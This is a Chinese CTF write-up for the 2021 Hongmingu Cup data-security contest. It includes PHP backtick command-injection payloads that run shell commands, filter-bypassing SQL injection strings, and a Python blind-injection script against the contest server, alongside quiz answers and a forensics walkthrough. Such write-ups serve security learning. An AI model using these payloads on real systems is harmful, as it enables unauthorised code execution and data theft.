飞道的博客

2021红明谷杯数据安全大赛技能场景赛-Writeup

261人阅读  评论(0)


后续题目知道怎么做了,跟进复现会把wp补上

Web

write_shell


第一步主要考察PHP代码执行,第一步先写个phpinfo()看下情况。利用php的一种短标签可以绕过分号,然后拼接一下绕过php字样。

/?action=upload&data=<?=(p.hpinfo)()?>

沙盒路径?action=pwd看一下

看了下disable_functions的值,本来还在想该如何先拿到一个shell,然后绕过disable_functions。队友突然告诉反引号没过滤,可以直接写入并执行命令,试了一下

/?action=upload&data=<?=`whoami`?>


顿时感觉这题可能非预期了,在根目录下找到flag

/?action=upload&data=<?=`ls%09-la%09/`?>

%09用于绕过空格过滤

直接读取,注意这里有个php后缀会被过滤,不过在命令执行种用*替换即可

/?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?>

happysql

一个login.php,一个register.php,一个home.php

加了个单引号发现有过滤

简单的fuzz一下黑名单,长度353的都是被过滤的

等号(=)用in或者regexp进行绕过,这里用in,空格用/**/绕过,or可以用||替换

username=mochu"||("1")in("1")#&password=mochu7



很明显是布尔盲注了
接下来考虑两个点:
1.截断函数用哪个?这里mid()和substring()已经被过滤了
2.如何绕过information

截断函数可以用left()right(),不过需要注意的是这两个函数并不能像mid和substring一样逐个截断,写脚本的时候注意下测试字符串的拼接。而绕过information已经是老生常谈了,猜测通过查询mysql.innodb_table_stats得到库名和表名

from binascii import *
import requests

ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
url = 'http://eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/login.php'

headers = {
   'Host': 'eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/',
               'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
               'Accept-Encoding': 'gzip, deflate',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type': 'application/x-www-form-urlencoded'}

text = ''
for i in range(1,50):
    for s in ascii_str:
        username = '1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#'.format(i,hexlify((text+s).encode('utf-8')).decode('utf-8').upper())
        payload = {
   "username": username,"password": "mochu7"}
        res = requests.post(url=url,headers=headers,data=payload)
        if 'home.php' in res.text:
            text += s
            print(text)
1"||hex(left(version(),{}))in("{}")#

1"||hex(left((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{}))in("{}")#

1"||hex(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/(database_name)in(database())),{}))in("{}")#

1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#
查询到的信息:
version: 10.4.13-MariaDB
databases: ctf,mysql
Current-database: ctf
ctf's tables: ctf,f1ag

easytp

javaweb

Misc

签到

一起来参与数据安全知识小竞赛。

  1. 在数据库系统中,口令保护是信息系统的第一道屏障。
  2. 为了防止物理上取走数据库而采取的加强数据库安全的方法是数据库加密。
  3. 发生介质故障后,磁盘上的物理数据和日志文件被破坏,这是最严重的一种故障,恢复方法是重装数据库,然后重做已完成的事务。
  4. 在数据库的安全评估过程中,下面那项是指系统能够对付各种可能的攻击的能力。可行性
  5. 数据库访问控制策略中,只需策略是只让用户得到有相应权限的信息,这些信息恰到可以让用户完成自己的工作,其他的权利一律不给。
  6. 数据库的安全策略是指如何组织、管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。
  7. 数据库的加密方法中,采用库外加密,则密钥管理较为简单,只需借用文件加密的密钥管理方法。
  8. 在下面的加密方法中,哪个加解密的效率最低:元素加密

InputMonitor


\User\link3\Desktop\log_data.txt

没事,我都删掉了,之前的聊天记录都被我清干净了。除非他们在监控我输入

\User\link3\Desktop\flag.7z

输入法取证,但是没有工具,赛后看wp大家都是用取证大师,我没有找到取证大师的下载地址,估计也买不起…
使用取证大师打开,得到用户自定义词汇用户输入历史在用户自定义词汇中找到hint:应该是六个字的密码,查看输入历史找到密码:有志者事竟成

得到hidden.pdf,打开

根据文件名,这里直接把图片删了看看是不是掩盖了什么

flag{
   Y0u_F1nd_h1dd3n_m3g}

我的心是冰冰的

歪比歪比

babytraffic


转载:https://blog.csdn.net/mochu7777777/article/details/115410705
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场